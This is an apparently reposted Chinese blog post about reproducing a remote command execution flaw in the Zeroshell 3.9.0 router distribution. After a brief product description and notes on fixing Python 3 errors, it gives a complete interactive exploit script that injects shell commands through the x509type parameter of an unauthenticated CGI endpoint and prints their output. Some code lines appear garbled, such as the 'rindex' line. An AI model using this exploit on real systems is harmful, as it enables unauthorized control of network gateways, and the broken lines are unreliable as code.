暂无图片
暂无图片
暂无图片
暂无图片
暂无图片

Zeroshell 3.9.0 RCE复现 & POC 修改

Redus 2021-05-22
1556

简介

    

    Zeroshell 是一个微型的linux发行版本,它功能强大,具有强大的router、radius、web门户、防火墙、virtual**、Qos、 DHCP、dns转发等功能,可以用来安装到服务器上为内网提供网络服务,而且安装和使用都很方便,有U盘,Live CD 和 Flash imgage 文件用于安装,可以使用 web 界面进行设置和管理。想自己部署软路由,又不想编译,找驱动程序,或者别人编译的固件有后门,可以考虑用Zeroshell替代 Openwrt/LEDE 。


    总的来说 Zeroshell 的特性包括:负载均衡及多网络连接的失效转移,通过 3G 调制解调器的 UMTS/HSDPA 连接,用于提供安全认证和无线网络加密密钥自动管理的 RADIUS 服务器,用于支持网页登录的强制网络门户(商场和酒店等商用场景),以及很多其他内容。


今天看到 jaky 大佬发的文章,去尝试复现,使用 POC 验证时发现存在一些报错。


这个盲猜是因为证书问题,在第一次请求中添加参数 verify=False ,再次验证请求到了,但是没有完全请求到,它又报错了。



报错中提示是 raw_input("$ ") 报错,大概看了下,POC 使用的是 python3 语言,在 python3 中 raw_input() 已经取消了,换成 input() 就解决了;但是没有完全解决,在执行命令执行得时候又双叒叕报错了。



这个输出是将执行的命令在请求中将结果打印出来,这里使用笨方法改掉的:

    ssss = :res.text.rindex("<html>")  2
    print(res.text[:ssss])

     这差不多就改完了,还有一个证书提示,将其关闭,上最后完整版。


      import requests
      import optparse
      import time,certifi,urllib3


      urllib3.disable_warnings()
      parser = optparse.OptionParser()
      parser.add_option('-u', '--url', action="store", dest="url", help='Base target uri (ex. http://target-uri/)')


      options, args = parser.parse_args()
      if not options.url:
      print('[+] Specify an url target')
      print('[+] Example usage: exploit.py -u http://target-uri/')
      print('[+] Example help usage: exploit.py -h')
      exit()


      uri_zeroshell = options.url
      session = requests.Session()


      def command():
      try:
      check = session.get(uri_zeroshell + "/cgi-bin/kerbynet?Action=x509view&Section=NoAuthREQ&User=&x509type='%0Aid%0A'",verify=False)
      if check.status_code == 200:
      flag = True
      print('[+] ZeroShell 3.9.0 Remote Command Execution')
      time.sleep(1)
      print('[+] Success connect to target')
      time.sleep(1)
      print('[+] Trying to execute command in ZeroShell OS...\n')
      time.sleep(1)
      check.raise_for_status()


      while flag:
      cmd = input("$ ")
      payload = "/cgi-bin/kerbynet?Action=x509view&Section=NoAuthREQ&User=&x509type='%0A" + cmd + "%0A'"
      uri_vuln = uri_zeroshell + payload
      burp0_headers = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Connection": "close", "Upgrade-Insecure-Requests": "1"}
      res = session.get(uri_vuln, headers=burp0_headers, verify=False)
      ssss = res.text.rindex("<html>") 2
      print(res.text[:ssss])


      except requests.exceptions.ConnectionError as err:
      print('[x] Failed to Connect in: '+uri_zeroshell+' ')
      print('[x] This host seems to be Down')
      exit()
      except requests.exceptions.HTTPError as conn:
      print('[x] Failed to execute command in: '+uri_zeroshell+' ')
      print('[x] This host does not appear to be a ZeroShell')
      exit()


      command()






      要不是你说

      高数好难快给我讲讲

      我高数肯定挂科了



      文章转载自Redus,如果涉嫌侵权,请发送邮件至:contact@modb.pro进行举报,并提供相关证据,一经查实,墨天轮将立刻删除相关内容。

      评论